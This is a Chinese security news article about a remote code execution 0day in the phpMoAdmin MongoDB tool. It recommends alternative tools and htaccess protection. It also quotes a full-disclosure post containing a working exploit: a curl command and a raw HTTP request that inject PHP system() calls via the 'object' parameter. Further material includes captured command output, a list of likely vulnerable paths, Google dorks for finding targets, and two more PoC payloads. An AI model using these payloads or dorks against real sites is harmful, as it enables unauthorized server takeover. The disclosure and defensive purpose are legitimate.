大约2个星期前,有超过40000家企业的MongoDB被发现易受黑客的攻击,而就在今天由于黑市上流传的一个高危0day漏洞又一次将MongoDB的用户置于了危险境地。
MongoDB是IT行业中流行的一种开源NoSQL数据库,其数据存储方式非常灵活,广泛应用于不同规模大小的公司中。其所有的数据持久操作都无需开发人员手动编写SQL语句,直接调用方法即可轻松的实现CRUD操作。
phpMoAdmin是一个免费、开源、以PHP为基础、基于AJAX的MongoDB GUI管理工具,管理者可轻松管理NoSQL数据库。
绰号为sp1nlock的黑客在phpMoAdmin上发现了一个远程代码执行0day漏洞,攻击者可以利用该漏洞劫持运行phpMoAdmin工具的网站。
该0day漏洞仍然有效,黑市有售
在写这篇文章时,我们还不知道phpMoAdmin开发者是否有意识到工具中存在0day漏洞,但确定的是该0day漏洞正在黑市上大量贩卖,并据黑市管理者证实该漏洞确实可以用。
最为不幸的是,到目前为止还没有任何人发布相关的补丁,也就是说所有的MongoDB用户还处在危险之中。
为了数据库的安全,建议MongoDB用户暂时不要使用phpMoAdmin工具,直至开发者发布修复补丁。
但是如果你还想继续使用phpMoAdmin工具怎么办呢?暂时使用其他免费MongoDB GUI工具吧,具体如下:
RockMongo MongoVUE Mongo-Express UMongo Genghis
还有一个方法:使用分布式配置密码(htaccess password)限制未经授权的访问moadmin.php文件
http://seclists.org/fulldisclosure/2015/Mar/19
[+] Description ============================================================ PHPMoAdmin is a MongoDB administration tool for PHP built on a stripped-down version of the Vork high-performance framework. [+] Exploit ============================================================ Someone was trying to sale this shit for 3000usd lolz $ curl "http://path.to/moadmin.php"; -d "object=1;system('id');exit" [+] Proof-of-Concept ============================================================ PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7 POST /moadmin/moadmin.php HTTP/1.1 Host: 192.168.33.10 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 34 object=1;system('id;ls -lha');exit HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 16:57:40 GMT Server: Apache/2.4.7 (Ubuntu) Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 223 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data) total 116K drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 . drwxr-xr-x 6 root root 4.0K Mar 3 16:17 .. -rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php [+] Vulnerability Analysis ============================================================ Filename: moadmin.php 1. create new moadminComponent object 1977: $mo = new moadminComponent; 2. if the http-post parameter 'object' is set 738: class moadminComponent { ... 762: public function __construct() { ... 786: if (isset($_POST['object'])) { 787: if (self::$model->saveObject($_GET['collection'], $_POST['object'])) { ... 3. evaluate the value of 'object' as PHP code 692: public function saveObject($collection, $obj) { 693: eval('$obj=' . $obj . ';'); //cast from string to array _______________________________________________
相关路径URL /phpmoadmin/ /phpmoadmin/moadmin.php?db=admin /phpmoadmin/moadmin.php?db=admin&collection=secpulse /panel/phpmoadmin/moadmin.php?db=admin /panel/phpmoadmin/moadmin.php?db=admin&collection=secpulse /wu-moadmin/wu-moadmin.php /cms/moadmin.php /wu-moadmin.php /moadmin.php /moadmin/moadmin.php
可能的Google search inurl:moadmin.php inurl:moadmin.php?db=
Poc1: /moadmin.php?collection=secpulse Post:object=1;phpinfo(); Poc2: Get /moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit; 这2个都可以加入扫描器插件了